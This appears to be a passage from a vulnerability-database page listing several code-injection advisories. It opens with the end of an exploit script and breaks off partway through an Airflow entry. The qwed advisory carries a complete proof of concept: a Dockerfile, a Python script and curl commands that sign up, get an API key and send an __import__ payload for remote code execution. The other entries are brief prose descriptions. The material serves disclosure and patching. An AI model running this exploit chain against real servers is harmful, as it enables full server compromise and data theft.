    print(f"[*] HTTP status : {result['status_code']}")
    print(f"[*] HTTP response:\n{json.dumps(result['body'], indent=2)}\n")

    if result["status_code"] == 200:
        print("=" * 60)
        print("[PASS] HTTP 200 returned — payload evaluated without error.")
        print(f"       The server wrote '{RCE_MARKER_CONTENT}' to {RCE_MARKER_PATH}")
        print()
        print("       Verify decisive evidence inside the container:")
        print(f"         docker exec qwed-vuln-001 cat {RCE_MARKER_PATH}")
        print("=" * 60)
        sys.exit(0)
    else:
        print(f"[FAIL] Unexpected HTTP {result['status_code']} — exploit did not succeed.")
        sys.exit(2)


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "qwed"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T16:25:19Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `qwed` package (version 5.1.1) passes attacker-controlled input directly to SymPy\u0027s `parse_expr()` function without a restricted namespace. Because `parse_expr()` internally calls Python\u0027s `eval()`, any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled `/auth/signup` endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.\n\n### Details\n\nThe vulnerability exists in two independently reachable code paths:\n\n**Primary sink \u2014 `POST /verify/math`**\n\n`src/qwed_new/api/main.py:442` defines the `/verify/math` route, protected only by `get_current_tenant` (line 444), which accepts any valid tenant API key. The request body field `expression` is read at line 463 and passed through a cosmetic regex normalization at line 495 (`re.sub(r\u0027(\\d)(\\()\u0027, r\u0027\\1*\\2\u0027, expression)`) that performs no security validation. The normalized string is then passed directly to `parse_expr()` at line 504:\n\n```python\n# src/qwed_new/api/main.py\nexpression = request.get(\"expression\")\n...\nexpression_normalized = re.sub(r\u0027(\\d)(\\()\u0027, r\u0027\\1*\\2\u0027, expression)\n...\nparsed = parse_expr(expression_normalized)   # line 504 \u2014 unsandboxed eval\n```\n\n**Secondary sink \u2014 `POST /verify/batch`**\n\n`src/qwed_new/api/main.py:1481` defines the `/verify/batch` route. Batch items flow through `batch_service.create_job()` (line 1517) into `batch.py:132` where `item.query` is stored verbatim, then processed by `_verify_item()` (line 167). When the item type is `VerificationType.MATH` (line 222), the expression is passed to `parse_expr()` at line 239 with no sanitization:\n\n```python\n# src/qwed_new/core/batch.py\nexpression = item.query\n...\nparsed = parse_expr(expression)              # line 239 \u2014 unsandboxed eval\n```\n\n`parse_expr()` accepts a `global_dict` and `local_dict` parameter that, when set to `{\"__builtins__\": {}}` and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.\n\n### PoC\n\n**Environment setup (Docker)**\n\n```bash\n# Build from repository root (one level above vuln-001/)\ndocker build -t qwed-vuln-001 -f vuln-001/Dockerfile .\n\n# Run the server (binds to localhost:8765)\ndocker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001\n```\n\nThe Dockerfile installs `qwed` from the local repository source with all dependencies and starts the server with the following environment:\n\n- `QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789`\n- `API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789`\n- `QWED_CORS_ORIGINS=http://localhost`\n- `QWED_SKIP_ENV_INTEGRITY_CHECK=true`\n- `DATABASE_URL=sqlite:////tmp/qwed-poc.db`\n\n**Automated exploit (`poc.py`)**\n\n```bash\npython3 vuln-001/poc.py --host 127.0.0.1 --port 8765\n```\n\nThe script performs three steps:\n\n1. **Register an account** \u2014 `POST /auth/signup` with arbitrary email/password/organization (no invite code or admin approval required).\n2. **Obtain an API key** \u2014 `POST /auth/api-keys` using the JWT returned from signup.\n3. **Send the RCE payload** \u2014 `POST /verify/math` with the `x-api-key` header and the expression:\n\n```\n__import__(\u0027pathlib\u0027).Path(\u0027/tmp/qwed_parse_expr_rce\u0027).write_text(\u0027pwned_by_parse_expr_rce\u0027)\n```\n\n**Expected output**\n\n```\n[+] Server is ready.\n[+] Account created; JWT bearer token obtained.\n[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...\n[*] expression = __import__(\u0027pathlib\u0027).Path(\u0027/tmp/qwed_parse_expr_rce\u0027).write_text(\u0027pwned_by_parse_expr_rce\u0027)\n[*] HTTP status : 200\n[*] HTTP response: {\"is_valid\": true, \"value\": 23.0, \"simplified\": \"23\", \"original\": \"23\"}\n[PASS] HTTP 200 returned \u2014 payload evaluated without error.\n```\n\nThe server returns HTTP 200 and `{\"value\": 23.0}` \u2014 the return value of `write_text()` (23 bytes written), cast by SymPy to `Integer(23)`. This proves the Python expression was executed inside the server process.\n\n**Decisive verification**\n\n```bash\ndocker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce\n# Expected: pwned_by_parse_expr_rce\n```\n\nThe same technique applies to `POST /verify/batch` by submitting a batch job with a math item whose `query` field contains the payload; a separate marker file `/tmp/qwed_batch_parse_expr_rce` was also confirmed during dynamic testing.\n\n**Manual curl reproduction (no Python script)**\n\n```bash\n# Step 1: sign up and capture JWT\nTOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"poc@example.com\",\"password\":\"Password123!\",\"organization_name\":\"poc-org\"}\u0027 \\\n  | python3 -c \u0027import sys,json; print(json.load(sys.stdin)[\"access_token\"])\u0027)\n\n# Step 2: create API key\nAPIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"name\":\"poc\"}\u0027 \\\n  | python3 -c \u0027import sys,json; print(json.load(sys.stdin)[\"key\"])\u0027)\n\n# Step 3: send payload\nrm -f /tmp/qwed_parse_expr_rce\ncurl -sS -X POST http://127.0.0.1:8765/verify/math \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"x-api-key: $APIKEY\" \\\n  -d \u0027{\"expression\":\"__import__(\u0027\"\u0027\"\u0027pathlib\u0027\"\u0027\"\u0027).Path(\u0027\"\u0027\"\u0027/tmp/qwed_parse_expr_rce\u0027\"\u0027\"\u0027).write_text(\u0027\"\u0027\"\u0027owned\u0027\"\u0027\"\u0027)\"}\u0027\n\n# Step 4: confirm file was written by the server process\ncat /tmp/qwed_parse_expr_rce\n# Expected: owned\n```\n\n### Impact\n\nThis is an **Authenticated Remote Code Execution** vulnerability. Any user who can create a tenant account (which is possible by default, since `/auth/signup` requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server\u0027s operating system user.\n\nConcrete impact includes:\n\n- **Confidentiality** \u2014 read any file accessible to the server process (environment variables, secret keys, database contents, source code).\n- **Integrity** \u2014 write or overwrite any file accessible to the server process, modify database records, plant backdoors.\n- **Availability** \u2014 terminate the server process, exhaust resources, corrupt persistent storage.\n\nIn a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants\u0027 data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container\u0027s network and volume configuration.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 Reproduction Environment\n# Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1\n#\n# Build from the repo root (one level above vuln-001/):\n#   docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .\n#\n# Run:\n#   docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001\n\nFROM python:3.12-slim-bookworm\n\nENV PYTHONDONTWRITEBYTECODE=1 \\\n    PYTHONUNBUFFERED=1\n\nWORKDIR /app\n\n# Install minimal build dependencies required by some native extensions\nRUN apt-get update \\\n    \u0026\u0026 apt-get install -y --no-install-recommends gcc g++ \\\n    \u0026\u0026 apt-get clean \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Copy the repository source\nCOPY repo/ /app/repo/\n\n# Install hatchling build backend, then install the package with all dependencies\n# z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12\nRUN pip install --no-cache-dir --upgrade pip hatchling \\\n    \u0026\u0026 pip install --no-cache-dir -e /app/repo\n\n# Runtime environment variables \u2014 minimal set required to start the server\nENV QWED_JWT_SECRET_KEY=\"test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789\" \\\n    API_KEY_SECRET=\"test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789\" \\\n    QWED_CORS_ORIGINS=\"http://localhost\" \\\n    QWED_SKIP_ENV_INTEGRITY_CHECK=\"true\" \\\n    DATABASE_URL=\"sqlite:////tmp/qwed-poc.db\"\n\nEXPOSE 8765\n\nCMD [\"python3\", \"-m\", \"uvicorn\", \"qwed_new.api.main:app\", \\\n     \"--host\", \"0.0.0.0\", \"--port\", \"8765\", \"--log-level\", \"warning\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: Authenticated RCE via Unsafe SymPy parse_expr() \u2014 VULN-001\n\nAffected product : QWED 5.1.1 (QWED-AI/qwed-verification)\nEndpoint         : POST /verify/math\nCWE              : CWE-94 \u2014 Improper Control of Code Generation\nCVSS             : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\nRoot cause:\n  src/qwed_new/api/main.py:504 passes attacker-controlled input directly to\n  sympy.parsing.sympy_parser.parse_expr() without a restricted global/local\n  namespace.  parse_expr() internally calls eval(), so any valid Python\n  expression \u2014 including __import__() calls \u2014 is executed server-side.\n\nExploit chain:\n  1. Register an account via POST /auth/signup   (open to any user by default)\n  2. Obtain an API key via POST /auth/api-keys\n  3. POST /verify/math with expression=\u003cpython code\u003e\n     The code runs inside the server process.\n\nObservable evidence:\n  - HTTP 200 response (not 4xx/5xx) proves the payload was evaluated\n  - A marker file is written inside the container; verify with:\n      docker exec \u003ccontainer\u003e cat /tmp/qwed_parse_expr_rce\n    Expected content: \"pwned_by_parse_expr_rce\"\n\nUsage:\n  python3 poc.py [--host 127.0.0.1] [--port 8765]\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\n\nimport requests\n\n# Path written inside the server process by the RCE payload\nRCE_MARKER_PATH = \"/tmp/qwed_parse_expr_rce\"\n# Content written to the marker file (must not contain quotes)\nRCE_MARKER_CONTENT = \"pwned_by_parse_expr_rce\"\n\n\ndef wait_for_server(base_url: str, timeout: int = 90) -\u003e bool:\n    \"\"\"Poll the server health endpoint until it responds or timeout expires.\"\"\"\n    print(f\"[*] Waiting for server at {base_url} (up to {timeout}s)...\")\n    deadline = time.time() + timeout\n    while time.time() \u003c deadline:\n        try:\n            r = requests.get(f\"{base_url}/health\", timeout=2)\n            if r.status_code \u003c 500:\n                return True\n        except requests.exceptions.ConnectionError:\n            pass\n        time.sleep(2)\n    return False\n\n\ndef signup(base_url: str) -\u003e str:\n    \"\"\"\n    Create an attacker-controlled account and return the JWT bearer token.\n    /auth/signup is enabled by default and requires no prior authorization.\n    \"\"\"\n    payload = {\n        \"email\": \"poc-attacker@example.com\",\n        \"password\": \"Attacker1234!\",\n        \"organization_name\": \"vuln001-attacker-org\",\n    }\n    r = requests.post(f\"{base_url}/auth/signup\", json=payload, timeout=15)\n    if r.status_code == 400 and \"already registered\" in r.text:\n        # Account exists from a previous run; sign in instead\n        sign_in_payload = {\n            \"email\": payload[\"email\"],\n            \"password\": payload[\"password\"],\n        }\n        r = requests.post(f\"{base_url}/auth/signin\", json=sign_in_payload, timeout=15)\n    r.raise_for_status()\n    token = r.json()[\"access_token\"]\n    return token\n\n\ndef create_api_key(base_url: str, bearer_token: str) -\u003e str:\n    \"\"\"\n    Create an API key for the attacker account.\n    Returns the plaintext key (shown only once by the API).\n    \"\"\"\n    headers = {\"Authorization\": f\"Bearer {bearer_token}\"}\n    r = requests.post(\n        f\"{base_url}/auth/api-keys\",\n        json={\"name\": \"vuln001-poc\"},\n        headers=headers,\n        timeout=15,\n    )\n    r.raise_for_status()\n    return r.json()[\"key\"]\n\n\ndef exploit(base_url: str, api_key: str) -\u003e dict:\n    \"\"\"\n    Send the RCE payload to POST /verify/math.\n\n    The expression uses pathlib.Path.write_text() which:\n      - Writes RCE_MARKER_CONTENT to RCE_MARKER_PATH inside the server process\n      - Returns an integer (bytes written) that parse_expr() can handle without\n        raising an exception, making the side-effect transparent to the caller\n\n    The absence of an error and a 200 status code proves code execution.\n    \"\"\"\n    expression = (\n        f\"__import__(\u0027pathlib\u0027)\"\n        f\".Path(\u0027{RCE_MARKER_PATH}\u0027)\"\n        f\".write_text(\u0027{RCE_MARKER_CONTENT}\u0027)\"\n    )\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"x-api-key\": api_key,\n    }\n    r = requests.post(\n        f\"{base_url}/verify/math\",\n        json={\"expression\": expression},\n        headers=headers,\n        timeout=20,\n    )\n    content_type = r.headers.get(\"content-type\", \"\")\n    body = r.json() if \"application/json\" in content_type else r.text\n    return {\"status_code\": r.status_code, \"body\": body}\n\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser(\n        description=\"PoC for VULN-001: Authenticated RCE via SymPy parse_expr() in QWED 5.1.1\"\n    )\n    parser.add_argument(\"--host\", default=\"127.0.0.1\", help=\"API server host\")\n    parser.add_argument(\"--port\", type=int, default=8765, help=\"API server port\")\n    args = parser.parse_args()\n\n    base_url = f\"http://{args.host}:{args.port}\"\n\n    # \u2500\u2500 Step 0: wait for server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    if not wait_for_server(base_url):\n        print(\"[FAIL] Server did not become ready within the timeout.\")\n        sys.exit(1)\n    print(\"[+] Server is ready.\\n\")\n\n    # \u2500\u2500 Step 1: sign up \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(\"[*] Step 1/3: Creating attacker account via POST /auth/signup\")\n    bearer_token = signup(base_url)\n    print(\"[+] Account created; JWT bearer token obtained.\\n\")\n\n    # \u2500\u2500 Step 2: API key \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    print(\"[*] Step 2/3: Obtaining API key via POST /auth/api-keys\")\n    api_key = create_api_key(base_url, bearer_token)\n    print(f\"[+] API key (first 20 chars): {api_key[:20]}...\\n\")\n\n    # \u2500\u2500 Step 3: exploit \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    rce_expression = (\n        f\"__import__(\u0027pathlib\u0027)\"\n        f\".Path(\u0027{RCE_MARKER_PATH}\u0027)\"\n        f\".write_text(\u0027{RCE_MARKER_CONTENT}\u0027)\"\n    )\n    print(\"[*] Step 3/3: Sending RCE payload to POST /verify/math\")\n    print(f\"    expression = {rce_expression}\\n\")\n\n    result = exploit(base_url, api_key)\n\n    print(f\"[*] HTTP status : {result[\u0027status_code\u0027]}\")\n    print(f\"[*] HTTP response:\\n{json.dumps(result[\u0027body\u0027], indent=2)}\\n\")\n\n    if result[\"status_code\"] == 200:\n        print(\"=\" * 60)\n        print(\"[PASS] HTTP 200 returned \u2014 payload evaluated without error.\")\n        print(f\"       The server wrote \u0027{RCE_MARKER_CONTENT}\u0027 to {RCE_MARKER_PATH}\")\n        print()\n        print(\"       Verify decisive evidence inside the container:\")\n        print(f\"         docker exec qwed-vuln-001 cat {RCE_MARKER_PATH}\")\n        print(\"=\" * 60)\n        sys.exit(0)\n    else:\n        print(f\"[FAIL] Unexpected HTTP {result[\u0027status_code\u0027]} \u2014 exploit did not succeed.\")\n        sys.exit(2)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-q27q-98j4-9pfv",
  "modified": "2026-08-25T16:25:19Z",
  "published": "2026-08-25T16:25:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/QWED-AI/qwed-verification/security/advisories/GHSA-q27q-98j4-9pfv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QWED-AI/qwed-verification/pull/200"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QWED-AI/qwed-verification/commit/6066b68c0c4f4cc2c3771824822aaa864d082ef8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/QWED-AI/qwed-verification/commit/dc9d4db72ca4b4ae3f96d0e6a0c27a9e38a06f61"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/QWED-AI/qwed-verification"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`"
}

GHSA-Q289-2885-29G4

Vulnerability from github – Published: 2022-05-14 01:03 – Updated: 2022-05-14 01:03
VLAI
Details

Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allow remote attackers to execute arbitrary code via a crafted Journal file, aka "Windows Journal Remote Code Execution Vulnerability," a different vulnerability than CVE-2015-1695, CVE-2015-1696, CVE-2015-1697, CVE-2015-1698, and CVE-2015-1699.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-1675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-05-13T10:59:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allow remote attackers to execute arbitrary code via a crafted Journal file, aka \"Windows Journal Remote Code Execution Vulnerability,\" a different vulnerability than CVE-2015-1695, CVE-2015-1696, CVE-2015-1697, CVE-2015-1698, and CVE-2015-1699.",
  "id": "GHSA-q289-2885-29g4",
  "modified": "2022-05-14T01:03:38Z",
  "published": "2022-05-14T01:03:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1675"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-045"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1032280"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-Q28X-3MGC-VV69

Vulnerability from github – Published: 2026-08-11 21:33 – Updated: 2026-08-12 00:31
VLAI
Details

Improper Control of Generation of Code ('Code Injection') Vulnerability in the SonicWall Email Security appliance allows an authenticated attacker with access to the SonicWall Email Security restricted CLI can inject arbitrary OS commands that execute as root via SNMP.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-66150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T21:17:49Z",
    "severity": "HIGH"
  },
  "details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) Vulnerability in the SonicWall Email Security appliance allows an authenticated attacker with access to the SonicWall Email Security restricted CLI can inject arbitrary OS commands that execute as root via SNMP.",
  "id": "GHSA-q28x-3mgc-vv69",
  "modified": "2026-08-12T00:31:09Z",
  "published": "2026-08-11T21:33:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66150"
    },
    {
      "type": "WEB",
      "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0012"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q2CJ-H8FW-Q4CC

Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2025-09-16 20:20
VLAI
Summary
Spring Expression language property modification using Spring Cloud Gateway Server WebFlux
Details

Spring Cloud Gateway Server Webflux may be vulnerable to Spring Environment property modification.

An application should be considered vulnerable when all the following are true:

  • The application is using Spring Cloud Gateway Server Webflux (Spring Cloud Gateway Server WebMVC is not vulnerable).
  • Spring Boot actuator is a dependency.
  • The Spring Cloud Gateway Server Webflux actuator web endpoint is enabled via management.endpoints.web.exposure.include=gateway.
  • The actuator endpoints are available to attackers.
  • The actuator endpoints are unsecured.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.cloud:spring-cloud-gateway-server-webflux"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "last_affected": "3.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.cloud:spring-cloud-gateway-server-webflux"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "last_affected": "4.1.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.cloud:spring-cloud-gateway-server-webflux"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0"
            },
            {
              "fixed": "4.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.cloud:spring-cloud-gateway-server-webflux"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.0"
            },
            {
              "fixed": "4.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-41243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-16T20:20:00Z",
    "nvd_published_at": "2025-09-16T15:15:44Z",
    "severity": "CRITICAL"
  },
  "details": "Spring Cloud Gateway Server Webflux may be vulnerable to Spring Environment property modification.\n\nAn application should be considered vulnerable when all the following are true:\n\n  *  The application is using Spring Cloud Gateway Server Webflux (Spring Cloud Gateway Server WebMVC is not vulnerable).\n  *  Spring Boot actuator is a dependency.\n  *  The Spring Cloud Gateway Server Webflux actuator web endpoint is enabled via management.endpoints.web.exposure.include=gateway.\n  *  The actuator endpoints are available to attackers.\n  *  The actuator endpoints are unsecured.",
  "id": "GHSA-q2cj-h8fw-q4cc",
  "modified": "2025-09-16T20:20:00Z",
  "published": "2025-09-16T15:32:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41243"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2025-41243"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring Expression language property modification using Spring Cloud Gateway Server WebFlux"
}

GHSA-Q2F7-8VFC-XG45

Vulnerability from github – Published: 2026-09-30 21:32 – Updated: 2026-10-02 15:31
VLAI
Details

In camel-ai camel 0.2.91a1, v0.2.91a2 and v0.2.91a3, CodeExecutionToolkit can run model-produced Python code through SubprocessInterpreter without an approval boundary.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-51857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-30T21:17:11Z",
    "severity": "CRITICAL"
  },
  "details": "In camel-ai camel 0.2.91a1, v0.2.91a2 and v0.2.91a3, CodeExecutionToolkit can run model-produced Python code through SubprocessInterpreter without an approval boundary.",
  "id": "GHSA-q2f7-8vfc-xg45",
  "modified": "2026-10-02T15:31:18Z",
  "published": "2026-09-30T21:32:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-51857"
    },
    {
      "type": "WEB",
      "url": "https://github.com/camel-ai/camel/issues/4037"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Ro1ME/78606e0763520d6519897e90b305d3cd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q2GV-RC8V-7GPC

Vulnerability from github – Published: 2022-05-13 01:46 – Updated: 2025-04-20 03:34
VLAI
Details

Code injection vulnerability in Bitdefender Total Security 12.0 (and earlier), Internet Security 12.0 (and earlier), and Antivirus Plus 12.0 (and earlier) allows a local attacker to bypass a self-protection mechanism, inject arbitrary code, and take full control of any Bitdefender process via a "DoubleAgent" attack. One perspective on this issue is that (1) these products do not use the Protected Processes feature, and therefore an attacker can enter an arbitrary Application Verifier Provider DLL under Image File Execution Options in the registry; (2) the self-protection mechanism is intended to block all local processes (regardless of privileges) from modifying Image File Execution Options for these products; and (3) this mechanism can be bypassed by an attacker who temporarily renames Image File Execution Options during the attack.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-6186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-21T16:59:00Z",
    "severity": "HIGH"
  },
  "details": "Code injection vulnerability in Bitdefender Total Security 12.0 (and earlier), Internet Security 12.0 (and earlier), and Antivirus Plus 12.0 (and earlier) allows a local attacker to bypass a self-protection mechanism, inject arbitrary code, and take full control of any Bitdefender process via a \"DoubleAgent\" attack. One perspective on this issue is that (1) these products do not use the Protected Processes feature, and therefore an attacker can enter an arbitrary Application Verifier Provider DLL under Image File Execution Options in the registry; (2) the self-protection mechanism is intended to block all local processes (regardless of privileges) from modifying Image File Execution Options for these products; and (3) this mechanism can be bypassed by an attacker who temporarily renames Image File Execution Options during the attack.",
  "id": "GHSA-q2gv-rc8v-7gpc",
  "modified": "2025-04-20T03:34:33Z",
  "published": "2022-05-13T01:46:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6186"
    },
    {
      "type": "WEB",
      "url": "http://cybellum.com/doubleagent-taking-full-control-antivirus"
    },
    {
      "type": "WEB",
      "url": "http://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q2HG-643C-GW8H

Vulnerability from github – Published: 2026-04-16 15:31 – Updated: 2026-04-16 22:57
VLAI
Summary
Apache Airflow: RCE by race condition in example_xcom dag
Details

The example example_xcom that was included in airflow documentation implemented unsafe pattern of reading value from xcom in the way that could be exploited to allow UI user who had access to modify XComs to perform arbitrary execution of code on the worker. Since the UI users are already highly trusted, this is a Low severity vulnerability.

It does not affect Airflow release - example_dags are not supposed to be enabled in production environment, however users following the example could replicate the bad pattern. Documentation of Airflow 3.2.0 contains version of the example with improved resiliance for that case.

Users who followed that pattern are advised to adjust their implementations accordingly.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-airflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54550"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T22:57:15Z",
    "nvd_published_at": "2026-04-15T04:17:32Z",
    "severity": "HIGH"
  },
